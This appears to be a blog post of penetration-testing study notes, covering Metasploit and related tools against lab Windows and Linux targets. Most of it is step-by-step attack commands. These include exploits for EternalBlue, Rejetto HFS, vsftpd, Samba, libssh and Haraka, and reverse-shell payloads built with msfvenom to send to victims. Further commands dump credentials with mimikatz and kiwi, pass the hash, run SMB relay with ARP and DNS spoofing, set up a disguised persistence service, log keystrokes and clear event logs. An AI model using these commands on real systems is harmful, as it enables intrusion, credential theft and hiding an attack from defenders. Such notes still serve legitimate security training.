It will show you all available exploits and gives you a list of things you can use
use /exploit/windows/local/ms16_014_wmi_recv_notif
set session 3
set LPORT 4442
run
If it works you get a meterpreter with elevated privileges
getuid
NET AUTHORITY\SYSTEM
Download the windows-exploit-suggeter.py script to your kali VM
From your meterpreter shell get the windows info from your target machine
shell (to get windows shell)
systeminfo (copy to a txt file on your kali VM to check hotfixes)
On kali VM
Go to directory where your cloned the github script
drop the systeminfo.txt here
./windows-exploit-suggeter.py --update (update the latest DB)
Because of this there are many differnt distros from specific use cases like kali to general like ubuntu and mint etc.
Most servers we will find will be running linux.
Apache and nginx TCP 80/443 are the common web servers
SSH TCP 22 is the common remote access tool
FTP TCP 21 is often found but should be moved to SFTP
SAMBA TCP 445 (similar to SMB on windows)
Exploiting bash CVE-2014-6271 (Shellshock)
This one affected bash/apache and gave the attacker a reverse shell
Not common any more but good to know about.
BASH is the default shell for most linux distros. The CLI.
BASH had an issue where it was executing commands after a series of special characters.
Common gateway interface (CGI) scripts can run something on the server (like get the time/date) and then display it on the webpage. So the attacker just needed to find an apache web server that was running CGI script. They could craft a HTTP header with the normal command, then the special characters and then the payload.
Lab testing
nmap -sV -p80,443 t.t.t.t
Lets say we see apache web server running
If we inspect the source code of .cgi scripts we can see one "gettime.cgi"
Same issues you can cause kernel panics / crashes.
www-data
is a user account that is un privileged
/tmp is the temp directory
from a meterpreter shell
upload the script
./les.sh
it will enumerate kernel exploits available
The kernel version is important
you may need to compile c code with gcc
sudo apt-get install gcc
gcc -pthread payload.c - o payload -lcrypt
upload payload
chmod +x payload
./payload PW123
If it works it will create a privileged user
WE can ssh into the server
cat /etc/passwd
cat /etc/shadow
Linux exploiting cron jobs
cron is the task scheduler in Linux
cron jobs can be scheduled to run on a defined schedule like a weekly backup
the crontab file is the file used to create/store cron jobs
cron jobs can be run by any user
cron jobs running at the root user are what we are interested in. For example let's say root is running a script but we have access to the script, we can add our commands to the script and wait for it to be executed with root privileges.
Set owner user ID. Linux has its normal file permissions chmod +755. There is also a special permission for specific situations which can allow a normal user to run a binary or script with the permissions of the owner instead of the normal user running the script. The legimate uses would let a normal user run something that needs root priv without making them a root users.
Attackers can try to exploit this to gain an elevated session if there is a vulnerability etc.
The sudo binary allows users to execute commands as the root user. The users need to be in the sudoers file but the sudo binary is owned by the root user.
We only want SUID binary's that have root rights and we have rights to execute them.
Starting on a linux system
whoami
groups student
ls - lash
If we see the s permission that is the SUID permission
file welcome (get details on the file)
Look for missing shared objects, fill in your own malicious payload to gain a root shell
strings welcome
we can see the binaries
cp /bin/bash greetings
./welcome
id
whoami
cat /etc/shadow
Dumping linux password hashes
Multiple users can log in at the same time.
All the users are in here /etc/passwd
Anyone can read this file
The shadow file has the password hashes but only root can access the hashed passwords
Prefix
$1 is MD5 (old)
$2 Blowfish (old)
$5 SHA-256
$6 SHA-512 (more modern systems)
Dump the hashes, lets say we already have root access
switch to a bash session
/bin/bash -i
Upgrade to meterpreter
sessions -u 1
Dump
cat /etc/shadow
search hashdump
use post/linux/gather/hashdump
set session 2
run
Dumps the hashes "unshadowed" so they are ready for cracking
Packets are streams of bits running as electrical signals on the physical media (Ethernet/wifi).
Electrical signals travel on the Ethernet cable.
The NIC converts these signals into bits (1's and 0's).
The bits are grouped into Ethernet frames by the NIC driver.
Wireshark will organise the raw binary into hex code because AC is easier for humans to read than 10101100. Each letter in HEX is 4 bits.
The NIC and OS work with binary data.
The is some sharing of responsibilities between the NIC and OS
The OS extracts and processes the packets from these frames.
The frame will contain a payload, this is the data being sent.
The data is handed off to the relevant application to be used (like a browser or a file download).
This process happens incredibly fast—often in milliseconds or less—allowing for real-time communication over networks.
Frame (layer 2 data unit)
Preamble (to mark the frame so the NIC can spot it) 8 bytes
Destination MAC 6 bytes
Source MAC 6 bytes
Ether type 2 bytes
Payload (data) 46-1500 bytes
FCS (Frame Check sequence) error checking
The frame contains the header and the payload. The frame payload is usually an IP packet.
Packet (layer 3 data unit)
IP header - contains src/dst/ IP, TTL etc (20-60 bytes)
Payload (data)
The IP packet contains a payload as well. The IP payload is usually TCP/UDP.
Headers
There are headers at different layers:
Ethernet Header (Data Link Layer): Contains MAC addresses and type/length field.
IP Header (Network Layer): Contains source and destination IP addresses.
TCP/UDP Header (Transport Layer): Contains port numbers and sequence numbers.
Payloads:
There are payloads at different layers. You will also hear the term payload used for malicious code that is delivered by malware/exploits
Ethernet frame payload: An IP packet
IP packet payload: A TCP segment
TCP segment payload: Application data (e.g., part of a web page or file
The OSI Model
Each layer relies on the other layers.
7 - Application (HTTP, FTP, IRC, SSH)
6 - Presentation (SSL/TLS, JPEG, GIF, SSH, IMAP) translates data between app layer and lower layers. The OS makes the payload data into a jpeg file for example.
5 - Session (APIs netBIOS, RPC) manages sessions, token control 4 - Transport (TCP / UDP) 3 - Network - (IP, ICMP, IPsec) logical addressing and routing 2 - Data link - error detection, framing Ethernet 1 - Physical - ethernet cables 1's and 0's
Keep in mind OSI is a refernece model, TCP/IP is what is used in the real world.
Firewall detection and IDS evasion
Detecting firewalls
nmap -sA (ack scan)
nmap -sn x.x.x.x
nmap -Pn - sS - F x.x.x.x
Look out for "closed" ports vs "filtered"
nmap -Pn -sA -p 445,3389 x.x.x.x
If there is no firewall we will see the state "unfiltered".
If there is a firewall we will see "filtered"
Fragmentation
To evade IDS we can slow down our scans and we can fragment packets
No evasion here:
-F is the fast profile
-f is for fragmentation
nmap -Pn -sS -sV -F t.t.t.t
In wireshark we will see the syn's clearly.
Let's try fragmentation
-F is the fast profile
-f is for fragmentation
nmap -Pn -sS -sV -p 445,3389 -f t.t.t.t
Now in wireshark we will see the packets will be fragmented. This can confuse/evade IDS and any network admin looking at packets.
We can config an MTU
nmap -Pn -sS -sV -p 445,3389 -f --mtu 32 t.t.t.t
We didn't see any fragmentation because we set low MTU. Try a different value 8 (minimum)
nmap -Pn -sS -sV -p 445,3389 -f --mtu 8 t.t.t.t
IP Spoofing
Lets pretend to come from the gateway 192.168.1.1 or 192.168.1.254
Get a shell with metasploit and a username and password combo we have found
msfconsole -q
use exploit/windows/smb/psexec
show options
set RHOSTS target.domain.com
set SMBUSER administrator
set SMBPASS elizabeth
run
Switch to the windows shell
shell
cd C:\
dir
type FLAG1.txt
SMB relay attack
Man in the middle attack. We sit in the middle of the server and the client and we replay data to try trick one party into thinking we are the other to try gain some info or access.
Intercept (setup MITM server, can use ARP or DNS spoofing)
Manipulate (capture clients NTLM hashes)
Replay (replay the hash to impersonate that user)
Gain access (get that users access, could lead to lateral movement)
Network placement
You need an attack machine on the LAN between client and server
Client < attacker > SMB server
Metrasplot smb relay module
msfconsole
search smb_relay
use exploit/windows/smb/smb_relay
options
set SRVHOST a.a.a.a (ip of your kali machine)
set LHOST a.a.a.a (ip of your kali machine)
set SMBHOST t.t.t.t (set IP of target)
Configure dns spoofing with dnsspoof
Setup similar to a hosts file entry, we set our kali IP to any subdomin of the target domain
echo "a.a.a.a *.domain.com" > dns
Use that file with dnsspoof
dnsspoof -i eth1 -f dns (eth1 is where our kali machine IP is on LAN with target)
Enable arpspoof by echoing the value 1 into this file
echo 1 > /proc/sys/net/ipv4/ip_forward
Run the arpsoof in both directions arpspoof -i eth1 -t c.c.c.c g.g.g.g
the IP of the target client followed by the gateway
open new tab and spoof in the other direction gateway and client
arpspoof -i eth1 -t g.g.g.g c.c.c.c
Run exploit
Back in your metasploit smb_relay module run it
run
jobs
wait a few minutes to intercept
if it works this module will automatically open a meterpreter session
sessions
session 1
getuid
The metasploit framework
Opensource frame work for penetration testing released in 2003.
Industry standard choice.
Its modular so new exploits can be added.
Nessus scans can be imported into Metasploit so you can go from Nessus scann into pentest on the same hosts.
Key Terms
Interface - msfconsole
Module - bits of code that perform a task. An example of a module is an exploit
Vulnerability - Weakness or flaw in computer system/network/software that can be exploited
Exploit - Code module that is used to take advantage of a vulnerability
Payload - Piece of code delivered to the target system by an exploit with the objective of executing arbitrary commands or providing remote access to the attacker. Usually the payload we want is a reverse shell.
Listener - A utility that listens for an incoming connection from a target
msfconsole
The primary cli interface
MSFcli - was discontinued in 2015. Was used for importing /exporting things
Metasploit community edition
Web based interface
Armitage
Free java based GUI front end for the Metasploit framework
MSF architecture
Libraries
Rex
MSF core
MSF base
Modules
Exploit (a way to execute something)
Payload (what we execute, often to give a reverse shell)
Encoder (encodes payloads to evade AV/IPS detections eg shikata_ga_nai.rb)
NOP (Ensures payload sizes are consistent and target OS is stable after)
Auxiliary (Any module that can't be paired with a payload, enumeration, scanners etc)
Interfaces
MSFconsole
MSFcli
Armitage
Web
Payload types
Non stages payloads - Send together as a whole with the exploit
Staged payloads - A staged payload is send to the target in 2 parts.
The first part (stager) contains a payload that is used to establish the reverse shell download the second part (stage) and execute it
Meterpreter payload
The meterpreter (meta-interpreter) playload is an advanced multifunctional payload that is executed in memory on the target system making it difficult to detect.
It communicates over a stager socker and provides an attacker with an interactive shell on the target system which can
Initialize the DB (this will delete all data if you had any)
sudo msfdb
sudo msfdb init
sudo msfdb reinit
sudo msfdb status
Start metasploit
msfconsole
MSF console basics
We can set the target IP and port with some variables, we can set local and global so we don't have to keep setting the same IP/range over and over
LHOST - local host used with reverse shell
LPORT - local port where the reverse shell is listening
RHOST - target
RHOSTS - multiple target systems
RPORT - target port
Basic commands
help
version - shows the version
show all - shows all modules
show exploits - shows only exploits
show -h - shows options for the show commadn
search portscan - search for modules with portscan in their name
use auxiliary/scanner/portscan/tcp
show options (show info)
set RHOSTS 192.168.2.1
show options
back - takes us back out of that module
search -h
search cve:2017 type:exploit platform:windows
can be useful to look for recent exploits that may have a better chance to work
search eternalblue
we can use it by the number
use 0
"No playload configured ..." message. We may need to set the x86 or x64 payload etc. We can change the payload.
Run - run the module
Sessions - shows all session if you have several setup
connect 192.168.1.1:80 - will show a banner if we connect to a router etc
Workspaces
If you are working as a pen tester you may have multiple scans going on at the same time for multiple customers/targets.
Make sure db is ok
db_status
workspace -h
workspace - shows us the current work space
hosts - shows the hosts stored in here
Make a new one
workspace -a CUST2
hosts
workspace default
Delete a workspace when finished with it
workspace -d CUST2
Rename
workspace -r CUST2 CUST3
Info gathering and enumeration
nmap scans can be imported into metasploit
nmap -Pn x.x.x.x (just do the port scan, no ping as it will probably be blocked)
nmap -Pn -sV -O x.x.x.x (sV and O give us the service versions and operating system if we can get it from the banner)
export these results into xml which can be imported into metasploit
nmap -Pn -sV -O x.x.x.x -oX windows.xml
Importing the xml scan into
service PostgreSQL start
db_status
workspace -a Windows
db_import /root/windows.xml
hosts
services
Running nmap scan from inside Metasploit
workspace
workspace -a nmap_msf
db_nmap -Pn -sV -O t.t.t.t
hosts
services
vulns
Port scanning with auxiliary modules
Used for tasks that are no exploitation. Extracting information/scanning etc. These come in during post exploitation stage. We get a foothold on a PC inside the client network with an exploit. So we can then scan from there with auxiliary tools.
nmap/metasploit scan or phishing attack etc from outside
compromise LAN host with an exploit and make meterpreter reverse shell
Run auxiliary scans from the compromised LAN host
service postgresql start
msfconsole
db_status
workspace -a port_scan
search portscan
use /auxiliary/scanner/portscan/tcp (or use 5)
set RHOSTS t.t.t.t
run
We don't have a GUI browser so we can't look at the page directly in a web browser
we can use curl
curl t.t.t.t
this will download and display the HTML code which can give clues. We see "xoda" in the title
Search for and run exploits
search xoda
use exploit/unix/webapp/xoda_file_upload
info
set RHOSTS t.t.t.t
set TARGETURI / (setting to root of the web server)
run
We should get a reverse shell (meterpreter)
Setting up autoroute on the revere shell
meterpreter> sysinfo
meterpreter> shell
/bin/bash -i
$ ifconfig
We can see the IP addresses on the host
t.t.t.t (the IP where we got in)
x.x.x.x (LAN IP)
ctrl + C out
meterpreter> run autoroute -s 192.168.1.0/24 (IP subnet of the LAN)
meterpreter> background
sessions (list all active sessions)
Use the same scanning module but this time we run it on the inside host. This is autorouted by meterpreter
search portscan
use 5
set RHOSTS x.x.x.2 (the LAN target IP)
info
run
The initially exploited host is known as a pivot point where we can jump to other networks/hosts.
Client side attacks
Generating payloads with msfvenom
Get the client side to execute a malicious payload usually creating the reverse shell back to the attacker.
Send a phish email or trick a user into clicking a link or opening a pdf, maybe uploading to a web or FTP server etc. The end goal is to get the payload executed so we can get a reverse shell.
CLI utility used to generate and encode payloads. Its a combination of two older tools.
List all the types we can make
msfvenon --list payloads
os/32 or 64bit/what the payload will be/how to connect back
Staged (2 parts)
windows/x64/meterpreter/reverse_tcp
Non-staged (all in one):
windows/x64/meterpreter_reverse_http
Creating a payload
a.a.a.a = the attackers listener (usually kali) which needs to be setup before we run the payload
msfvenon -a x86 -p windows/meterpreter/reverse_tcp LHOST=a.a.a.a LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx86.exe
You can transfer this to the client PC or try send it via email etc.
-k keep the functionality of the original file so winrar will keep working and create our remote shell. However this won't work for most portable exes out there. AV's are better at detecting this.
Setup your handler
Get the "winrar-injected.exe" the target machine:
After we get the remote shell migrate.
This is incase winrar-injected is ended later on.
run post/windows/manage/migrate (migrates into notepad.exe)
Automating metasploit with resource scripts
Resource scripts can automate reparative commands like setting up a handler for payloads etc.
Resource scripts work very similar to .bat files
Just put in the commands we want to run like check the DB connection etc
Built in scripts can be found here
ls -al /usr/share/metasploit-framework/scripts/resource
vim handler.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 1234
show info
run
:wq!
msfconsole -r handler.rc
vim db_status.rc
db_status
workspace
workspace -a TEST
:wq!
When already in msfconsole we can call a script
resource /Desktop/handler.rc
We can make an RC from some commands we just run
makerc /home/kali/Desktop/test.rc
Exploiting HTTP file server
HFS (http file server) usually running on port 80 and give a simple list of files that can be downloaded. Our goal as attacker is to get a file uploaded and executed giving us a remote shell.
Rejetto HFS is a popular open source HFS.
service postgresql start
msfconsole
db_status
workspace -a HFS
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t
Lets say we see Rejetto v2.3 is running on port 890
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
*** Don't forget your can set your payload if needed ***
run
MS17-101 Eternal Blue
Affects SMBv1
msfconsole
workspace -a EB
db_nmap -sS -sV -O t.t.t.t
search type:auxiliary EternalBlue
use auxiliary/scanner/sb/smb_ms17_010
show info
set RHOSTS 10.10.10.7
run
Will tell us if the target is vulnerable
search type:exploit EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS t.t.t.t
run
sysinfo
getuid (we get NT AUTHORITY\SYSTEM)
Exploiting WinRM
Runs on ports 5985 and 5986
WinRM is windows remote management protocol. Intended to be used by legitimate administrators to admin their systems. Can remotely access, run commands etc.
msfconsole
workspace -a WRM
db_nmap -sS -sV -p- -O t.t.t.t
we need to scan all ports with -p-
search type:auxiliary winrm
use auxiliary/scanner/winrm_auth_methods
This will tell us if winrm is enabled and what auth methods are available
show info
setg RHOSTS t.t.t.t
run
search winrm_login
use 0
set USERFILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASSFILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
run
User the found username and password
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME admin
set PASSWORD secret
set CMD whoami
run
search winrm_script
use 0
show info
set USERNAME admin
set PASSWORD secret
set FORCE_VBS true
run
Exploiting apache tomcat server
Free open source web app server (java)
Run on port 8080 by default
Apache is web server created in PHP
Apache tomcat used to use dynamic websites of web apps developed in java
service postgresql start
msfconsole
workspace -a APACHE
db_name -sS -sV -O t.t.t.t
We see apache timcat runing on port 8080
search type:exploit tomcat_jsp
user exploit/multi/http/tomcat_jsp_upload_bypass
info
set PAYLOAD java/jsp_shell_bind_tcp
set LPORT 4444
set SHELL cmd
run
we get a cmd shell
whoami
ctrl+z to but in background
We can work with the shell, but it would be nicer to have a meterpreter session
In this exercise we will target a vulnerable FTP server running on linux
FTP used for transferring files on TCP port 21
service postgresql start
msfconsole
workspace -a VSFTP-234
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t
services
analyze
vulnerabilities
search vsftp
use exploit/unix/ftp/vsftp_234_backdoor
info
run
/bin/bash -i (to get bash shell)
ctrl + z (backgroud)
use post/multi/manage/shell_to_meterpreter
set LHOST eth1
set SESSION 1
run
sessions
sessions 2
now we have meterpreter
Exploiting samba (smb)
SMB is server message block used for sharing files on the LAN.
TCP 445
Originally in ran on top of netBIOS using port 139.
samba is smb for windows
service postgresql start
msfconsole
workspace -a SMB
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t
search type:exploit name:sambe
use exploit/linux/samba/is_known_pipename
info
check (to see if it would work)
run (gives linux shell)
upgrade bash shell to meterpreter
ctrl+z (bash shell to background)
search shell_to_meterpreter
show options
set LHOST eth1
set SESSION 1
run
Switch to the meterpreter session
sessions
sessions 2
sysinfo
getuid
Exploiting vulnerable SSH server
After finding a server listening on port 22
Enumerating it to find the version etc
We may have tried brute forcing to get a username
Now we can look at exploiting SSH
Start postgresql service
service postgresql start
Start metasploit
msfconsole
Create a workspace
workspace -a LIB-SSH
Set the global variable for RHOSTS as our target IP
setg RHOSTS t.t.t.t
Run an nmap scan from inside metasploit
db_nmap -sS -sV -O t.t.t.t
Now that scan is complete we see LIBSSH running
Search for an exploit and run it
search libssh_auth_bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true (spawn a TTY session)
run
Check for sessions, we see we have the command shell
sessions
sessions 1
whoami
cat /etc/*release
uname -r
Upgrade to meterpreter
ctrl +z
use post/multi/manage/shell_to_meterpreter
info
set LHOST eth1
set SESSION 1
run
Check for sessions, the meterpreter will be the second session
sessions
sessions 2
Run meterpreter commands
sysinfo
getuid
Exploiting vulnerable SMTP server
TCP Ports:
25
465
587
In this example we will look at Haraka which is an open source high performance SMTP server developed in Node.js. Versions older than 2.9.8 have a vulnerability
service postgresql start
msfconsole
workspace -a SMTP
setg RHOSTS t.t.t.t
db_nmap -sS -sV -O t.t.t.t
We see the Haraka mail server running
search type:exploit name:haraka
use exploit/linux/smtp/haraka
info
set RHOSTS t.t.t.t
set RPORT 25
set SRVPORT 9898
set email_to root@domain.com (needs to be correct)
set payload linux/x64/meterpreter_reverse_http
set LHOST eht1
run
If it works we get a meterpreter session
sysinfo
getuid
uid 0 is root access
Meterpreter fundamentals
Post exploitation is after we have gained initial access
Local enumeration from inside the network (different to external enumeration from outside)
Privilege escalation (usually we start with user access and want to get admin/root)
Maintaining persistent access
Dumping hashes (so we can run them against a cracking tool to get passwords or use the hashes themselves in a pass the hash attack)
Clearing your tracks (deleting logs)
Pivoting (moving around the network from client machine to servers, from LAN to DMZ etc)
Meterpreter (meta interpreter) is an advanced multi functional payload that operates via DLL injection and is executed in memory so hard to detect.
It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands.
It also allows the attacker to load customer scripts and plugins which give further functionality
It has various payload types (windows/linux) that work for different OS architecture (x86, x64)
Start metasploit and get initial access
service postgressql start
msfconsole
workspace -a MT
setg RHOSTS t.t.t.t
db_nmap -sV t.t.t.t
We see apache running
curl http://t.t.t.t
We see XODA running
Search xoda
use exploit/unix/webapp/xoda_file_upload
info
set TARGETURI /
run
Now we have a meterpreter session
meterpreter>
sysinfo - give computer/OS command
getuid - shows our user and permissions
help - shows list of commands in categories, there are more commands for windows sessions
A session
background - send the session to the background
exit - kill the session
ctrl + z - keyboard shortcut to background
sessions (to list all sessions)
sessions -l (list all sessions)
sessions 2 (connect to session 2)
sessions 1 (connect to session 1)
sessions -h (show the help for sessions command)
Run a command on a session without connecting to it
sessions -C sysinfo -i 2
This will run "sysinfo" on session 2
We can also do it on multiple sessions
sessions -C sysinfo -i 2,3,4,5-7
kills the session 2
sessions -k 2
Kill all sessions
sessions -K
You can rename sessions
session -n xoda -i 2
This will rename session 2 as "xoda"
Interact with it via name
sessions xoda
Meterpreter commands
ls
mkdir test
rmdir test
pwd
cd ..
cat flag.txt
edit flag.txt
cd "Secret Files"
cat .flag2
Dowload a file
download flag5.zip
background
unzip flag5.zip
The zip file has instructions to get the MD5 hash of /bin/bash
Switch back to our meterpreter session
sessions 1
checksum md5 /bin/bash
getenv PATH
getenv TERM
Search for files
search -d /usr/bin -f *backdoor*
search -f *.txt*
download flag1.txt
Open command shell, on windows it will be cmd, on linux it will be bash
shell
/bin/bash -i
ps -aux
close the bash and go back to meterpreter
ctrl + c
List processes
ps
migrate 580
it won't always work depending on your rights
migrate -N apache2
execute -f ifconfig
Meterpreter basics
pwd (print working directory on the target machine)
lpwd (print working directory on the local kali machine)
ls (list directory on target machine)
lls (list directory on local kali machine)
cd
lcd
cat /app/flag1
edit /app/flag1
cat /app/flag1
cd "Secret Files"
ls
cat .flag2
cd /app
download flag5.zip
ls
unzip flag5.zip
cat list
rm flag5.zip
checksum md5 /bin/bash
search -d /usr/bin -f *ckdo*
Upload file
upload /usr/share/webshells/php/php-backdoor.php
Upgrading cmd shells to meterpreter shells
Some of our initial access will give us a cmd shell, we generally want to upgrade it to meterpreter so we have all the features of meterpreter available
linux cmd shell
pwd shows /tmp
/bin/bash -i
Background the session (ctrl+z)
sessions
Notice the type shows as "shell cmd/unix"
Also notice in the connection session we can see the port this session is connected on x.x.x.x:1234
Search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
info
set SESSION 1
set LHOST eth1
We may need to set the port if it overlaps with our current cmd shell. We can see this in sessions
run
List the sessions again
sessions
We see the meterpreter session shows as type "meterpreter x86/linux"
Automating the process
session -u 1
This will upgrade sessions 1 to meterpreter automatically
Windows post exploitation modules
We can enumerate lots of information once we get a meterpreter shell
user privs
Logged on users
VM check
install programs
AVs
other computers on the same domain
installed patches / os ver
shares
Start DB and metasploit in one command
service postgresql start && msfconsole
Create workspace
workspace -a windows_post
Set global variable for target
setg RHOSTS t.t.t.t
db nmap scan
db_nmap -sV t.t.t.t
We see rejetto http file server running
search for exploits
search rejetto
use exploit/windows/http/rejetto_hfs_exec
info
(target IP already set in global variable)
run
We get the meterpreter session
meterpreter>
sysinfo
getsystem (elevate)
gertuid (get user privs)
hashdump (dump hashes if we have access to SAM database)
show_mount (see drives attached)
ps (list out process tree)
migrate 2212 (migrate to the process id 2212)
sysinfo
We can do more on a windows meterpreter session
cd C:\\
dir
cat flag.txt
download flag.txt
ctrl + z (backgroup)
sessions
Look for migrate module
search migrate
use post/windows/manage/migrate
set session 1
run
search win_privs
use post/windows/gather/win_privs
set SESSION 1
run
See who's logged on, if admin is watching or maybe we can steal admin's hash
post/windows/gather/enum_logged_on
set SESSION 1
run
Check if this host is a VM
post/windows/gather/checkvm
set SESSION 1
run
If its a VM we can try VM break out, but it could also indicate a honeypot
Check apps, we might find an old application that allows a privilege escalation.
post/windows/gather/enum_applications
show all the gathered information
loot
search type:post platform:windows enum_av
use post/windows/gather/enum_av_excluded
info
set SESSION 1
run
If we found any excluded folders or extensions we could leverage that
Find other computers
use post/windows/gather/enum_computers
set SESSION 1
run
Find the patches
use post/windows/gather/enum_patches
We can look for a certain KB if needed
We may need to migrate into an svchost.exe
systeminfo windows command will also show us the list of patches if it doesn't work
Find shares
use post/windows/gather/enum_shares
set SESSION 1
run
we might find the print$ and others which we can investigate
Enable RDP
use post/windows/manage/enable_rdp
Bypass UAC / windows privilege escalation
UAC is supposed to stop unauthorised admin changes
If you are a standard user you need to provide the admin password
How can we bypass UAC ?
There is a protection by pass where we spawn a new meterpreter shell with no UAC checking. We need a x64 meterpreter
Start with initial access
We try to elevate but it fails
getsystem
getprivs shows we just have a standard user
Get into windows shell and look up users and groups
shell
net users
net local group administrators
We see that our user is a standard user but is a member of administrator group
We need x64 session and we need to select the x64 payload and target x64
search bypassuac
user exploit/windows/local/bypassuac_injection
info
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4433
set TARGET Windows\ x64
run
Initially the shell will show as not elevated this is baecause it can now run admin commands without UAC getting in the way, run a get system to get full admin rights.
Windows privilege escalation: Token impersonation with incognito
Windows access token is generated after you authenticate
Login > access token is created
The token has your user and your privs
The token is attached to the userinit process which is used to start child processes
Each child process inherits the access token rights
Created by LSASS (local security authority subsystem service)
The tokens get given differnt levels
impersonate - non interactive login (service account)
delegate - interactive login
To impersonate we need to elevate our privilege and tokens available on the system
SeAssignPrimaryToken - allows a user to impersonate tokens
SeCreateToken - Create tokens
SeImpersonatePrivilege - allows users to create a process under the security context of another user, eg run cmd as administrator
Incognito is a built in meterpreter module (not to be confused to the chrome mode)
Get initial access
service postgresql start && msfconsole
workspace -a IMP
db_nmap -sV t.t.t.t
setg RHOSTS t.t.t.t
search rejetto
use 0
info
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
meterpreter>
sysinfo
getuid
NT AUTHORITY\LOCAL SERVICE - a local service account's access
NT AUTHORITY\SYSTEM - highest level of access
getprivs
This will show the Se privileges so we can know if we can impersonate tokens etc
SeImprersonatePrivilege
Dump the hashes (will fail if we don't have admin rights)
hashdump
Load the module
load incognito
list_tokens -u
impersonate_token "DOMAIN\Administrator"
getuid
hashdump still fails because the shell still has the old privs, we need to migrate to a process with the "DOMAIN\Administrator" privs
ps
we see 3544 is running as "DOMAIN\Administrator"
migrate 3544
Now hashdump will work
cd C:\Users\Administrator
This method works across lots of versions of windows
The first step is getting the SeImpersonatePrivilege
Dumping hashes with mimikatz
Mimikatz is a post exploitation tool. It allows extraction of plaintext credentials from memory, password hashes from local SAM databases and more
SAM (security account manager) is a database file on windows systems that stores user passwords. Can be used to auth local and remote users.
We can use a mimikatz exe on the target but this might be detected by AV so we can use Kiwi which is another meterpreter module that runs mimikatz in memory. Always best to do things in memory to avoid detection.
start with a x64 meterpreter session
pgrfep lsass
migrate 792
Load the module
load kiwi
Dump all creds
creds all
We should get NTLM hash and SHA1 hash
We can only get the hashes of users on the PC
Dump the SAM database
lsa_dump_sam
Dump the LSA secrets (these can be used in pass the hash)
lsa_dump_secrets
We don't always need to crack a hash to a clear text password, the hash can be used in a pass the hash attack.
We can then execute it but again could be detected
shell
mimikatz
privilege:debug
we want to see "20" ok to show we have the correct privs
lsadump::sam
Pass the hash with psexec
Use the NTLM hashes with the meterpreter psexec module
We can get access with the NTLM and don't need to crack passwords.
Start with initial access and migrate to x64 meterpreter
hashdump
copy and save the hashes in the file
exit
search psexec
use exploit/meterpreter/reverse_tcp
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
paste the hash or cleartext password in. For the hash don't paste the trailing colons ::: or the one at the start
set SMBPass aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235
run
meterpreter>
sysinfo
getuid
Establishing persistence on windows systems
When we get initial access via an exploit or phishing link clicked etc all of this is running in memory. If the system is rebooted we lose access. Also a service exploited to get in may be patched so we want to maintain persistent access.
Start with initial access
workspace -a PERSIST
setg RHOSTS t.t.t.t
db_nmap t.t.t.t
search rejetto
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST eth1
run
sysinfo
getuid
We need admin rights to setup persistence, so we need to elevate priv first then install persistence
search platform:windows persistence
We will see lots of different methods
persistence_service will create a service that start the meterpreter session calling back to our CnC domain.
use exploit/windows/local/persistence_service
info
It only supports 32bit payload but we can upgrade to x64 later
set PAYLOAD windows/meterpreter/reverse_tcp
set SERVICE_NAME TotallyLegitService
set SESSION 1
run
getuid
Kill all sessions
sessions -K
Now we don't have any access
use multi/handler
set the same 32bit payload
set PAYLOAD windwos/meterpreter/reverse_tcp
set LHOST eth1
run
We start up the handler and the remote PC's malicious persistence service will connect back to us so we get a meterpreter session again. This will work across reboots.
exit and run again
the compromised machine reconnects
We can exit Metasploit, start it again, start the handler and the compromised machine will reconnect
Enabling RDP
RDP is windows remote access tool with a GUI
Runs on port 3389
We can use a module to enable it, then connect to the PC via RDP which may not look as suspicious once setup.
Start with initial access
meterpreter>
ctrl + z (background it)
search enable_rdp
use post/windows/manage/enable_rdp
info
set SESSION 1
We can also setup a username and password here to use with RDP but no need if we already have other creds
run
It will enable it and open the windows firewall port
We need a username and password to login
Change admin password (this would ring alarm bells but just for this example)
meterpreter>
shell
net user administrator secret
Watch out for password policy it might have to have a certain length/complexity
xfreerdp /u:administrator /p:secret /v:t.t.t.t
accept the cert
will open an RDP window
Create an account that looks legitimate, follow the same naming convention in the org. You can also try something like BACKUPS-USER that users may assume is important.
Watch out for password policy it might have to have a certain length/complexity
Windows keylogging with meterpreter
Start with initial access
meterpreter>
Make sure we have admin access
sysinfo
getuid
Migrate to the explorer process as keylogging works best here
psgrep explorer
migrate 2234
Start the keylogging
keyscan_start
On target machine type username and password
keyscan_dump
It will show the shift keys pressed
you may need to stop/start it when the user opens a new application
Clearing tracks / deleting windows event logs
Once an attacker has done their work they will want to cover their tracks. This is useful for defenders to know as you want to log to a server and also you can monitor when logs are deleted this can create an alert.
Change a user password
We will see the event is logged in the windows security log (eventvwr)
The clearev command clears all the logs
meterpreter> clearev
it stops the service, deletes the logs and starts it again
If you transferred anything you need to delete it.
Pivoting, adding routes and port forwarding.
Use a compromised host to scan/attack/exploit other hosts inside the LAN. Or for example if we get access to a LAN machines see if we can get into the DMZ or vice versa.
Attacker > Victim1 > Victim 2
We can reach Victim1 (eg public IP on the internet or compromised LAN host)
We can't currently reach Victim2
Get initial access on Victim1
meterpreter>
sysinfo
getuid
Look at network
ipconfig
Add route
run autoroute -s 10.2.27.0/24
Now we can route through Victim1 to reach that network
ctrk+z
sessions -n Vic1 -i 1
search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS vic2.domain.com
run
We now see a list of ports open on Vic2.
We can enum/exploit further.
portfwd add -l 4333 -p 80 -r [vic2]
ctrl + z
db_nmap -sS -sV -p 8080 localhost
This will scan the forwarded port on vic1 (8080) > vic2 (80)
No comments:
